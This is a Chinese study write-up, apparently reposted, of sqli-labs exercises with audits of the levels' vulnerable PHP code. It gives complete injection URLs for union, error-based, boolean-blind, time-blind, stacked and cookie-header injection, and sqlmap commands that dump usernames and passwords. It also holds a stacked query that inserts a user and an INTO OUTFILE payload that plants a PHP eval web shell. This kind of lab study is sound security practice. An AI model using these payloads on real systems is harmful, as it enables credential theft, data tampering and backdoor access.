sql注入的专项练习 sqlilabs(含代码审计)

在做题之前先复习了数据库的增删改查,然后自己用本地的环境,在自己建的库里面进行了sql语句的测试,主要是回顾了一下sql注入联合注入查询的语句和sql注入的一般做题步骤。

1.获取当前数据库

2.获取数据库中的表 

  3.获取表中的字段名

一、sql注入的原理

SQL注入是一种安全漏洞,它允许攻击者通过在应用程序的输入中插入或者操作SQL命令来改变后端数据库的查询和操作。SQL注入的主要原因是代码中直接将用户输入与SQL命令拼接在一起,没有进行适当的验证或清理,导致输入可以被解释为SQL的一部分而不是数据。攻击者通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,实现无账号登录,甚至篡改数据库等,它是目前黑客对数据库进行攻击的最常用手段之一。

二、sql注入的分类

根据注入技术分类有以下五种:

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句 

详情可参考:SQL注入(上)_sql的flag-CSDN博客 

三、sql注入的专项练习 

sql注入的一般做题步骤(适用于联合查询注入和报错注入):

1.判断是整数型还是字符型

判断方法:输入id =1 and 1=1,发现没有变化,换成and 1=2有变化,则为整数型

2.用 ’ 进行测试,发现页面报错,证明可以进行sql注入

3.判断sql注入的类型,并使用相对于的方法进行解决

4.判断有几个字段

5.爆当前数据库

6.爆表明

7.爆字段名

8.爆出数据 

 (1)联合查询注入(sqlilabs中的less-1)

联合查询注入的原理:

首先是这个sql注入可以使用union select语句,其次是将联合语句与用户输入相结合,让联合语句能够在服务器上执行,实现我们对数据的查询与获取,在查询的过程中页面只会呈现数据中的一行数据,这时候就得不到我们要的数据,此时,要用-将前面的注释掉,也可以把-1理解为空字符,那么他就会执行后面的联合语句,最后实现注入

代码审计:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//这行代码引入了位于上级目录sql-connections下的sql-connect.php文件,这个文件通常包含了数据库连接所需的参数和函数。
error_reporting(0);
// take the variables 
if(isset($_GET['id']))   //检查是否通过GET方法传递了名为id的参数。
{
$id=$_GET['id']; //如果id参数存在,将其值赋给变量$id。
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志记录部分
使用fopen, fwrite, 和 fclose 函数将ID信息追加到一个名为result.txt的文本文件中。// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//构建SQL查询语句,用于从users表中检索与给定ID匹配的用户记录。
$result=mysql_query($sql);
//使用mysql_query函数执行SQL查询,并将结果存储在$result中。
$row = mysql_fetch_array($result);
//从查询结果中获取一行数据,并将其存储在$row数组中。if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}
//如果$row不为空(即找到了匹配的记录),则输出用户名和密码;否则,输出MySQL错误信息。else { echo "Please input the ID as parameter with numeric value";}
//如果没有通过GET方法传递id参数,则输出错误消息。
?>
总体来说,这段代码的目的是从数据库中检索与给定ID匹配的用户信息,并将结果或错误信息显示在页面上。

方法一 手注

1.根据页面回显,判断出为字符型注入,且为单引号闭合方式

2.这个题也可以使用报错注入 ,这里使用联合注入的方法,先判断出字段数,判断出一共有三个字段

3.判断出当前数据库为security,注意:这里 需要在1之前加上-,这是为了后面union语句的执行

4.判断表名,输入

http://sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5.判断出字段,输入:

http://sql/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

6.爆数据,输入:

http://sql/Less-1/?id=-1' union select 1,2,group_concat(username,id,password) from users--+

方法二 使用sqlmap

资料:SQLMap使用教程:从入门到入狱详细指南-CSDN博客

 1.爆数据库名

python sqlmap.py -u "http://sql/Less-1/?id=1" --dbs --batch

2.爆表名

python sqlmap.py -u "http://sql/Less-1/?id=1" -D security --tables

 3.爆字段

python sqlmap.py -u "http://sql/Less-1/?id=1" -D security -T users --columns

4.爆数据

python sqlmap.py -u "http://sql/Less-1/?id=1"  -D security -T users -C id,username,password --dump --batch

(2)报错注入(less-5)

原理:

利用数据库在执行错误的sql语句时,会返回相应的错误信息,这些错误信息可以帮助攻击者了解数据库的结构和内容,因为想要的信息会跟着报错的信息一起出现

代码审计:

// 包含数据库连接参数
include("../sql-connections/sql-connect.php");// 关闭错误报告(不推荐在开发环境中使用)
error_reporting(0);// 检查是否存在 'id' GET 参数
if(isset($_GET['id']))
{// 获取 'id' 参数的值$id = $_GET['id'];// 将 'id' 写入日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:'.$id."\n");fclose($fp);// 构建查询语句并执行$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysql_query($sql); // 注意:mysql_* 函数已废弃// 提取查询结果$row = mysql_fetch_array($result);// 检查查询结果if($row){// 显示成功消息echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else {// 显示错误信息echo '<font size="3" color="#FFFF00">';print_r(mysql_error()); // 显示 MySQL 错误信息echo "</br></font>";}
}
else 
{// 如果 'id' 参数不存在,则显示错误消息echo "Please input the ID as parameter with numeric value";
}

方法一 手注

1.判断出为字符型注入且单引号为闭合方式

2. 判断出有三个字段

3.判断当前数据库

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',database()),3))--+

 4.判断表

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3))--+

5.判断出字段名

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3))--+

6.得数据

方法二 sqlmap的使用(与上题做法一样)

1.爆数据库

2.爆表

3.爆字段

4.得到数据

(3) 布尔盲注(less-8)

布尔是一种类型,核心是在于判断正确与否。布尔就是指这个页面有回显,但是不会显示具体内容,只会显示语句是否正常执行;

代码审计:

// 引入MySQL连接参数
include("../sql-connections/sql-connect.php");// 关闭错误报告,不建议在生产环境中这么做
error_reporting(0);// 检查GET参数中是否存在'id'
if(isset($_GET['id']))
{// 获取'id'参数值$id=$_GET['id'];// 将连接参数记录到文件中$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 构造SQL查询语句$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";// 执行SQL查询// 注意:这里使用了mysql_*系列函数,这是PHP的废弃函数,应使用mysqli_*或PDO$result=mysql_query($sql);// 获取查询结果$row = mysql_fetch_array($result);// 检查查询结果if($row){// 如果查询到数据,输出提示信息echo '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";}else {// 如果没有查询到数据,输出提示信息(但这里注释掉了错误信息)echo '<font size="5" color="#FFFF00">';echo "</br></font>";echo '<font color= "#0000ff" font size= 3>'; // 注意这里font属性应该分开写// 注释掉的错误信息,用于调试// echo 'You are in...........';// print_r(mysql_error());// echo "You have an error in your SQL syntax";// 缺少关闭<font>标签}
}
else 
{ // 如果没有提供'id'参数,输出提示信息echo "Please input the ID as parameter with numeric value";
}

方法一 手注 

函数:

ascii() 函数,返回字符ascii码值

    参数 : str单字符

length() 函数,返回字符串的长度

    参数 : str 字符串

left() 函数,返回从左至右截取固定长度的字符串

    参数str,length
    str : 字符串
    length:截取长度

substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

    参数,str,pos,length
    str: 字符串
    pos:开始位置
    length: 截取长

1.在测试的过程中,发现不会有报错信息,这个也从源代码中体现了,使用布尔盲注,判断出为字符型注入且由源代码可得闭合方式为单引号

2.判断字段数

3.判断数据库的长度,使用length()函数,长度为8

http://sql/Less-8/?id=1' and length(database())>8--+

4.知道了数据库的长度,现在要来判断数据库的名称,得到数据库名字为"security"

?id=1' and (ascii(substr((select database()),1,1)))  =  115--+ 
?id=1' and (ascii(substr((select database()),2,1)))  =  101--+ 
?id=1' and (ascii(substr((select database()),3,1)))  =  99--+ 
?id=1' and (ascii(substr((select database()),4,1)))  =  117--+ 
?id=1' and (ascii(substr((select database()),5,1)))  =  114--+ 
?id=1' and (ascii(substr((select database()),6,1)))  =  105--+ 
?id=1' and (ascii(substr((select database()),7,1)))  =  116--+ 
?id=1' and (ascii(substr((select database()),8,1)))  =  121--+ 

5.判断表的数量,为4个

?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>3  --+   

6.分别判断这四个表的名称,第一个表的长度(结果为6):

?id=1'   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+

 7.判断第一个表的名称为emails,剩下的表名都是以此类推,得到最后的表为users

注意:这里limit是控制是哪一个表,例如:limit 0,1是第一个表;limit 1,1是第二个表

再熟悉一下substr()函数的用法就可以了

http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >101--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)) >109--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),3,1)) >97--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1)) >105--+
.
.
.

8.爆字段的列数,得到有三列

http://sql/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users') >3--+

9.爆这三个列的列明,先爆第一个列的长度,长度为2

http://sql/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)) =2--+

10.爆第一个列的列名,得到第一列为id,其他的两个也是以此类推,分别得到username,password

http://sql/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)) >105--+
http://sql/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)) >100--+

11.获取数据,先判断数据的条数

http://sql/Less-8/?id=1' and  (select count(*) from users)>13 --+

12.判断第一条数据,其他数据都是类似的方法,可以得到所有数据

判断第一个id的长度(长度为1):
http://sql/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+
判断第一个id的数据(数据为1):
http://sql/Less-8/?id=1'   and  ascii(substr((select id from users limit 0,1),1,1))=49 --+
判断第一个username的长度(长度为4):
http://sql/Less-8/?id=1'   and  length((select username from users limit 0,1))>4 --+
判断第一个username的数据(数据为Dumb):
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),1,1))>68 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),2,1))>117 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),3,1))>109 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),4,1))>98 --+
判断第一个password的长度(长度为4):
http://sql/Less-8/?id=1' and length((select password from users limit 0,1))>4--+
判断第一个paasword的数据(数据为Dumb):
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>68 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>117 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>109 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>98 --+
.
.
.

也可以用以下的方法 

方法二 sqlmap的使用(与上题一样)

1.爆数据库

2.爆表名

3.爆字段

4.爆数据

(4)时间盲注(less-9)

时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数sleep()函数

sleep函数是令来控制响应时间的,sleep(5)就是令页面等5秒后再响应;
if函数(条件,条件成功返回结果,条件失败返回结果);if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

先进行分析:

输入任何参数,页面都只有一种响应结果:You are in...........

无回显位置,不适合联合注入;

无报错信息,不适合报错注入;

查询的正确与否不会影响页面的响应(只有一种响应),不适合布尔盲注。

综上所述,考虑使用时间盲注。

资料:SQLi LABS Less 9 时间盲注_sqli-labs 时间盲注脚本第九关-CSDN博客

SQL注入-时间盲注_sql时间盲注-CSDN博客

代码审计:

分析代码可得:这段代码与上一个代码不一样的地方在else,查询到数据与没有查到都是一样的回显,由此也可以知道页面都只有一种响应结果的原因,以及使用时间盲注的原因

方法一 手注

1.判断注入条件

?id=1' and if(1,sleep(5),3) --+

页面响应时间超过5秒,确定存在时间盲注,且闭合方式为单引号。

2.接下来,与布尔盲注差不多,判断数据库长度,判断数据库的名称.......

判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
猜解表名长度(此处都是以第一个表为例):
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit 0,1)>y,sleep(5),1)–-+
猜解表名:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–-+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101,1,sleep(5))–-+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101,1,sleep(5))–-+.....
猜测字段的长度(以第一个字段为例):
?id=1' and if(length(select column_name from information_schema.columns where table_schema = database() and table_name='users' limit 0,1)>y,sleep(5),1)–-+
猜测列明:
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=101,1,sleep(5))–-+
......
猜测字段的条数:
?id=1' and  if((select count(*) from users)>13,sleep(5),1)--+
....(判断数据可参考布尔盲注)

方法二 sqlmap的使用

1.爆数据库

2.爆表

3.爆字段

4.爆数据

时间盲注和布尔盲注的其他方法可参考:SQL注入的相关例题(ctfhub)_sql注入练习-CSDN博客

(5)堆叠注入(less-38)

代码审计:

第38关的代码与之前的代码的不同之处主要在于出现了mysqli_multi_query()函数,mysqli_multi_query()函数支持同时执行多条SQL语句,‌而mysqli_query()函数一次只能执行一条SQL语句。‌由此可见,可以使用堆叠注入

 方法一 手注

1.判断为字符型的堆叠注入,且闭合方式为单引号,一共有三个字段

2.这里根据前面的方法可以知道相关的数据,使用堆叠注入,实现插入用户

http://sql/Less-38/?id=-1';insert into users(id,username,password) values ('38','less38','aaaaa')--+

3.查询插入的数据

#插入数据
insert into table_name(column_name_1,column_name_2,column_name_3) value(value_1,value_2,value_3);
#删除数据
delete from table_name where column_name_2=value_2;
#修改数据
update table_name set column_name_1=value_1 [,column_2=value_2...] where 字句;
#删除表
drop table table_name;
#读取文件
select load_file('文件路径');

方法二 sqlmap的使用

与上面的题都是一样的,这里只展示最后的结果

资料:https://www.cnblogs.com/backlion/p/9721687.html

(6)sql注入写马(less-7)

代码审计:

第七关的源代码与他之前的关卡的代码类似,只是在第七关中出现了outfile,在这里先了解几个函数

  1. into dumpfile()
  2. into outfile()
  3. load_file()
  4. 详细的函数解释可以去这个网站看https://www.cnblogs.com/7-58/p/14101610.html

方法一 手注

1.首先判断出是字符型,闭合方式可由源代码可得是'))

2.判断字段数,一共有三个字段

3.找绝对路径

我们可以选择@@basedir@@datadir来获取MYSQL的安装路径和数据路径。然后,利用outfileload_file()函数,我们可以将查询结果写入文件,并读取文件内容。

本题的路径为:D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7

4.用into outfile函数写入一句话木马,其中两个\\是防转义

http://sql/Less-7/?id=1')) union select 1,"<?php eval($_REQUEST[shell])?>",3 into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell.php"--+

5.使用蚁剑连接

6.成功进入后门

方法二 sqlmap的使用(与前面的题一样)

 (7)请求头注入(less-20)

一般来说,比较常见的请求头注入包括:User-Agent注入,Referer注入,Cookie注入

代码审计:

方法一 手注

1.这个题要先登录

2.使用bp抓包,修改cookie部分,判断出为字符型注入,且为单引号闭合

3. 可以使用联合注入,这里使用的是报错注入的方式,先判断出数据库

and updatexml(1,concat('~',database()),3)--+

4.判断表

and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+

5.判断字段

and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3)--+

6.判断数据

方法二 sqlmap的使用 

由于这题是post请求,所以先使用burp进行抓包,然后将数据包存入txt文件中打包  用-r 选择目标txt文件,先在Cookie 处加上*代表注入点

1.爆当前数据库

python sqlmap.py -r 文件路径  --current-db --batch

2.爆表

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master
\Less-20\1.txt -D security --tables

3.爆字段

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users --columns

4.爆数据

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users -C id,username,password --dump

四、sql注入常见的绕过方式

资料:常见sql注入绕过方法-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/50416.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WordPress 后台开发技巧:向文章发布页右侧添加自定义菜单项

案例图片 这个案例向你介绍了如何在文章发布页的右侧边栏增加一个新的自定义菜单项。具体用它实现什么功能&#xff0c;就看你的需要了。 代码 function add_custom_menu_item() { add_meta_box(custom_menu_item, 这里是菜单项名称, display_custom_menu_item, post, side, …

基于JSP、java、Tomcat、mysql三层交互的项目实战--校园交易网(1)-项目搭建(前期准备工作)

这是项目的初始页面 接下来我先写下我的初始项目搭建 技术支持&#xff1a;JAVA、JSP 服务器&#xff1a;TOMCAT 7.0.86 编程软件&#xff1a;IntelliJ IDEA 2021.1.3 x64 首先我们打开页面&#xff0c;准备搭建项目的初始准备 1.New Project 2.随后点击Next&#xff0c;勾…

AttributeError: ‘list‘ object has no attribute ‘text‘

AttributeError: ‘list‘ object has no attribute ‘text‘ 目录 AttributeError: ‘list‘ object has no attribute ‘text‘ 【常见模块错误】 【解决方案】 示例代码 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 欢迎来到我的主页&#xff0c;我是博主英…

IDEA缓存和索引

IDEA缓存和索引 —2020年06月10日 IntelliJ IDEA首次加载项目的时候。都会创建索引&#xff0c;而创建索引的时间根项目的文件多少成正比。 IntelliJ IDEA的缓存和索引主要是用来加快文件查询&#xff0c;从而加快各种查找、代码提示等操作的速度。 某些特殊情况下&#xf…

安科瑞邀您走进2024北京电气设计第44届年会

2024年7月11日&#xff0c;2024建筑电气高峰论坛暨北京电气设计第44届年会在京如期而至&#xff0c;各路精英齐聚一堂&#xff0c;围绕智慧建筑、数据中心、工业厂房配电、储能技术等热点问题展开讨论。安科瑞携企业微电网智慧能源的一站式服务解决方案亮相盛会&#xff0c;尽享…

Java面试八股之什么是spring boot starter

什么是spring boot starter Spring Boot Starter是Spring Boot项目中的一个重要概念。它是一种依赖管理机制&#xff0c;用于简化Maven或Gradle配置文件中的依赖项声明。Spring Boot Starter提供了一组预定义的依赖关系&#xff0c;这些依赖关系被封装在一个单一的包中&#x…

十日Python项目——第三日(用户中心——邮箱验证、修改密码)

#前言&#xff1a; 在最近十天我会用Python做一个购物类项目&#xff0c;会用到DjangoMysqlRedisVue等。 今天是第三天&#xff0c;主要负责撰写用户中心部分&#xff0c;以及优化登录部分。若是有不懂大家可以先阅读我的前两篇博客以能够顺承。博客&#xff1a;十日Python项…

前端江湖:从菜鸟到大侠的修炼手册

在这个数字编织的梦幻世界里&#xff0c;前端&#xff0c;这个听起来就带着几分仙气与神秘感的词汇&#xff0c;实则是每一位互联网探险家手中的魔法杖。它不仅连接着代码的冰冷逻辑与用户的炽热情感&#xff0c;更在无数次的点击与滑动间&#xff0c;绘制出一幅幅绚丽多彩的交…

Godot入门 05收集物品

创建新场景&#xff0c;添加Area2D节点&#xff0c;AnimatedSprite2D节点 &#xff0c;CollisionShape2D节点 添加硬币 按F键居中&#xff0c;放大视图。设置动画速度设为10FPS&#xff0c;加载后自动播放&#xff0c;动画循环 碰撞形状设为圆形&#xff0c;修改Area2D节点为Co…

Go语言常见序列化协议全面对比

先说结论 从易用性、性能、内存占用、编码后大小等几个方面综合考虑 ProtoBuf 胜出。 Gob 从性能和 I/O 带宽占用上都和 ProtoBuf 差不多&#xff0c;唯一劣势是编解码时内存占用较多。考虑到不用再写 IDL 带来的易用性&#xff0c;如果整个系统内不存在使用除 Go 以外其他语言…

外卖霸王餐系统推荐,哪家的系统比较稳定呢?

以下是一些较为稳定且有一定用户基础的外卖霸王餐系统&#xff0c;你可以根据自身需求进一步考察和选择&#xff1a; - **饭否霸王餐**&#xff1a;有专门的APP&#xff0c;如在应用宝上其开发商为南京有惠鲸选电子商务有限公司。它覆盖了多个城市&#xff0c;提供美团、饿了么…

巴黎奥运启幕 PLM系统助力中国制造闪耀全球

2024巴黎奥运会将于法国当地时间7月26日在塞纳河畔正式开幕。即将亮相巴黎奥运会赛场的除了中国运动员之外&#xff0c;还有一批批中国制造企业为奥运会设计并制造的体育设备也将惊艳亮相&#xff0c;成为赛场上另一道亮丽的风景线。 在新时代的浪潮中&#xff0c;中国制造业坚…

AlibabaCloudAI

快速体验 Spring Cloud Alibaba AI JDK要求最低17 1.SpringAI Spring AI 旨在简化包含人工智能相关功能的应用程序的开发&#xff0c;避免不必要的复杂性。 Spring AI 的核心是提供抽象&#xff0c;作为开发 AI 应用程序的基础。这些抽象有多种实现方式&#xff0c;只需极少…

三维影像系统PACS源码,图像存储与传输系统,应用于医院中管理医疗设备如CT,MR等产生的医学图像的信息系统

PACS&#xff0c;即图像存储与传输系统&#xff0c;是应用于医院中管理医疗设备如CT&#xff0c;MR等产生的医学图像的信息系统。目标是支持在医院内部所有关于图像的活动&#xff0c;集成了医疗设备&#xff0c;图像存储和分发&#xff0c;数字图像在重要诊断和会诊时的显示&a…

Redis的五种数据类型与命令

目录 引言 一 Redis的特性 二 Redis的安装 三 Redis的优点 四 Redis的五种数据类型与命令 五 Redis的配置文件 引言 Redis是什么&#xff1f; Remote Dictionary Service(远程字典服务器) Redis 是一个开源的(BSD许可)的&#xff0c;C语言编写的&#xff0c;高性能的数…

计算机网络实验-RIP配置与分析

前言&#xff1a;本博客仅作记录学习使用&#xff0c;部分图片出自网络&#xff0c;如有侵犯您的权益&#xff0c;请联系删除 一、相关知识 路由信息协议&#xff08;Routing Information Protocol&#xff0c;RIP&#xff09;是一种基于距离向量&#xff08;Distance-Vector&…

unity2D游戏开发06稳定,材质,碰撞器

稳定性 在操控玩家时,我们会发现玩家移动时,摄像头会有抖动,这是摄像机过度精确造成的。 创建名为RoundCameraPos的C#脚本,用Visual Studio打开 代码 using System.Collections; using System.Collections.Generic; using UnityEngine; using Cinemachine;//导入Cinemac…

rust 初探 -- use

rust 初探 – use Package, Crate, 定义 Module use 关键字 作用&#xff1a;将路径引入到作用域内&#xff0c;其依旧遵循私有性规则&#xff0c;也即只用 pub 的部分引入进来才能使用 use crate::front_of_house::hosting; // 绝对路径 // use front_of_house::hosting; …

【Python机器学习】使用Matplotlib注解绘制树形图

通过数据集可以创建树&#xff0c;但是字典的表示形式非常不易于理解&#xff0c;而且直接绘制图形也比较困难。但是通过Matplotlib库可以绘制树形图。 决策树的主要优点就是直观、易于理解&#xff0c;如果不能将其直观的显示出来&#xff0c;就无法发挥其优势。 Matplotlib…

基于JSP、java、Tomcat三者的项目实战--校园交易网(2)登录,注册功能实现

技术支持&#xff1a;JAVA、JSP 服务器&#xff1a;TOMCAT 7.0.86 编程软件&#xff1a;IntelliJ IDEA 2021.1.3 x64 OK&#xff0c;那我们进入正题&#xff0c;随着前面一篇博客的尚未完结基于JSP、java、Tomcat三者的项目实战--校园交易网&#xff08;2&#xff09;登录功能…